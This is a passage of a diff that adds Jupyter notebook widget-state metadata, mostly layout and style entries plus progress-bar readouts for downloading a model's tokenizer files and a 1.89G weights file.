+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1ae88e18373a4322bddf0e51e5460a89": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1df97f1113c34b7eb89c7d1c6a81b3bd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1e276839600443fa82ca0ab00409fd99": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1f37677826544166a0b63d36c9c3edac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a8dbb00149f148ceaee2474c4304c902",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f3c0042a67e34e72b1088b60c11ba2d0",
+            "value": " 1.89G/1.89G [00:49&lt;00:00, 33.0MB/s]"
+          }
+        },
+        "2218df295404427eb6086c25f41946c5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0df5b95ccc3d4550bb1be7c001f54577",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_63a7a29ac462471eb67b275c68faff42",
+            "value": 75
+          }
+        },
+        "22338ed9cec54338ad33267ed579603a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a5971d5b793545a3845fbe1029b557e1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8384173365364cd5996018a775b167e2",
+            "value": " 75/75 [00:21&lt;00:00,  3.57it/s]"
+          }
+        },
+        "238d055bf5ff4891b2e9c6aa28a89fad": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "23b55638314c4e2b967f85ab40042a6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "274e736175d34926a0c614192288e510": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bce74d8ba4dd4a35bd276ba2dbf0ffd1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f24b18d71065474a9f169b4fd66898f6",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "28c075d27bf8437c99b4fa8091d4d2c0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c883ad6804cd4f628494b1eb7f432e51",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6f1c7458863047598f98861765f325dd",
+            "value": " 485/485 [00:00&lt;00:00, 8.74kB/s]"
+          }
+        },
+        "28fe7cfc4f4048eca1120a7228dcd629": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8f487d06f9834f1b8dd0a63ffec62436",
+            "max": 634,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ee5e249b357649ab95d493d940bc3b01",
+            "value": 634
+          }
+        },
+        "29da49469545454997e755839f8c156d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d62c5143fa1544ba9e2d22555dc6c3f9",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ba72519befe047eabb826d1f7ec0e39c",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "29fb67ab990343b6a374b35718b8a6c1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2b68707a9749479cab4b4ecd124d87cb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2e922ee442bc49f8b0d7d4bd79d92683": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2e945d3f81204a538874a0a832102d15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2f1c260b17204c08870bac68408944c4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5896923dddc0466a9023c09c738f404a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f874ed5ecd6f4eed976ed24b0be4ae51",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "2f972961c0eb411ca45b8af05cc05e3b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c826a36c99ae462abccdc59266c404d3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5ef86b91d359434a9aa4787dc727cb1b",
+            "value": " 348/348 [00:00&lt;00:00, 1.79kB/s]"
+          }
+        },
+        "3119598ffcab4d6f9d1642ee595736ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "341fa26d73394e6cb71498a9c95b458c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3672f34ff79b417abb390592a3b9ed2b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "37e24969e35c4099933ab57fac8b2599": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d3165abbffbc4da3bd4f0cb6f3437140",
+            "max": 1361597018,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5a1be5246f2443858bd6933a89a68389",
+            "value": 1361597018
+          }
+        },
+        "37e74a92120d40ab99b8a3efeb397bd8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3943882166bb4470a800d9563f9e53a2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "396aee75c5954aa9b634d79c18177977": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3c4dca0b51954031905bada22feef684": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4178b1767a614f89aa62f12a4e3a7350": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c909bafccc65402fa93afea87f1b784e",
+              "IPY_MODEL_6c32232cfb734ac3a3204a22c414fc18",
+              "IPY_MODEL_1f37677826544166a0b63d36c9c3edac"
+            ],
+            "layout": "IPY_MODEL_a4d93e9fee48468281afac25f551806c"
+          }
+        },
+        "417a14ed83ba4535bf47a39b9298aa4f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "419cb861b6e84999a3708fd19b0295c6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2e922ee442bc49f8b0d7d4bd79d92683",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4d9d00362c1c4f48b5cddc1783956732",
+            "value": " 13/13 [00:50&lt;00:00,  4.61s/it]"
+          }
+        },
+        "42248bb1fb38481eaa292dbca2d68e38": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "44480a036c3c4442baa95d6288e83546": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_520e09d44ecf488b93694eebe4a02147",
+            "max": 300,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5959385589b344b2bd8fc108067db8a3",
+            "value": 300
+          }
+        },
+        "45148fd42fdb47b3a5424faa3c488c25": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4d9d00362c1c4f48b5cddc1783956732": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "502d0b0ef4c549b485c049a2dae9b4f1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f931614414ba46adaab4c0522e65ebf8",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e926a97d3f6149318dd6f01d17e90dd5",
+            "value": "Fetching 13 files: 100%"
+          }
+        },
+        "50949912a3ee403e8ddb328e62b61c0d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b5a46aec8d594d02b618b9d59e4f4518",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9ee85e252d32428ea44a91c71cd62a36",
+            "value": " 300/300 [00:00&lt;00:00, 1.73kB/s]"
+          }
+        },
+        "518150c24b25401d92cf483e5ecb0253": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "520e09d44ecf488b93694eebe4a02147": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "53fa5e54123446199d57c27c3ee8b091": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
